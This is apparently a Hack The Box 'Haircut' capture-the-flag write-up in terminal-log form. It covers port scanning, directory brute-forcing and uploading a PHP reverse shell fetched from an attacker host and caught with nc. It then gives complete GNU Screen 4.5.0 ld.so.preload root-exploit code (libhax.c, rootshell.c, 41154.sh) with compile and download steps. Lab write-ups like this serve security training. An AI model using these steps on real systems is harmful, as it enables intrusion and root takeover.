GOBUSTER
REVERSE PHP

SCREEN 4.5.0 EXPLOIT TO PRIVESC

```
PORT   STATE SERVICE VERSION

22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

|   2048 e9:75:c1:e4:b3:63:3c:93:f2:c6:18:08:36:48:ce:36 (RSA)

|   256 87:00:ab:a9:8f:6f:4b:ba:fb:c6:7a:55:a8:60:b2:68 (ECDSA)

|_  256 b6:1b:5c:a9:26:5c:dc:61:b7:75:90:6c:88:51:6e:54 (ED25519)

80/tcp open  http    nginx 1.10.0 (Ubuntu)

|_http-server-header: nginx/1.10.0 (Ubuntu)

|_http-title:  HTB Hairdresser

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

```
root@kali:/home/kali/Desktop/hackthebox/haircut# gobuster dir -u http://haircut.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -t 20

/uploads (Status: 301)
```

/exposed.php (Status: 200)

```
root@kali:/home/kali/Desktop/hackthebox/haircut# python -m SimpleHTTPServer 80
```

http://10.10.14.9/reverse.php -o uploads/reverse.php>>

```
root@kali:/home/kali/Desktop/hackthebox/haircut# nc -nlvp 8082
```

http://haircut.htb/uploads/reverse.php

SHELL GAINED!!!!!!

```
www-data@haircut:/$ find / -perm -4000 2>/dev/null

/bin/ntfs-3g

/bin/ping6

/bin/fusermount

/bin/su

/bin/mount

/bin/ping

/bin/umount

/usr/bin/sudo
```

```
/usr/bin/pkexec
/usr/bin/newuidmap
/usr/bin/newgrp
/usr/bin/newgidmap
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/passwd
/usr/bin/screen-4.5.0
/usr/bin/chsh
/usr/bin/chfn
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
root@kali:/home/kali/Desktop/hackthebox/haircut# searchsploit screen 4.5.0
-------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                  |  Path
-------------------------------------------------------------------------------- ---------------------------------
GNU Screen 4.5.0 - Local Privilege Escalation                                   | linux/local/41154.sh
GNU Screen 4.5.0 - Local Privilege Escalation (PoC)                             | linux/local/41152.txt
root@kali:/home/kali/Desktop/hackthebox/haircut# cp /usr/share/exploitdb/exploits/linux/local/41154.sh .


root@kali:/home/kali/Desktop/hackthebox/haircut# cat libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
root@kali:/home/kali/Desktop/hackthebox/haircut# cat rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
root@kali:/home/kali/Desktop/hackthebox/haircut# cat 41154.sh
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

root@kali:/home/kali/Desktop/hackthebox/haircut# gcc -fPIC -shared -ldl -o libhax.so libhax.c
root@kali:/home/kali/Desktop/hackthebox/haircut# gcc -o rootshell rootshell.c
root@kali:/home/kali/Desktop/hackthebox/haircut# python -m SimpleHTTPServer 80
```

```
www-data@haircut:/tmp$ wget 10.10.14.9/rootshell
www-data@haircut:/tmp$ wget 10.10.14.9/41154.sh
www-data@haircut:/tmp$ wget 10.10.14.9/rootshell.c
www-data@haircut:/tmp$ wget 10.10.14.9/libhax.c
www-data@haircut:/tmp$ wget 10.10.14.9/libhax.so

www-data@haircut:/tmp$ cd /etc/
www-data@haircut:/etc$ umask 000
screen –D -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so"
www-data@haircut:/etc$ screen –ls
www-data@haircut:/etc$ /tmp/rootshell
# cd /root
# ls
root.txt
# cat root.txt
4cfa26d84b2220826a07f0697dc72151
```

ROOTED!!!!!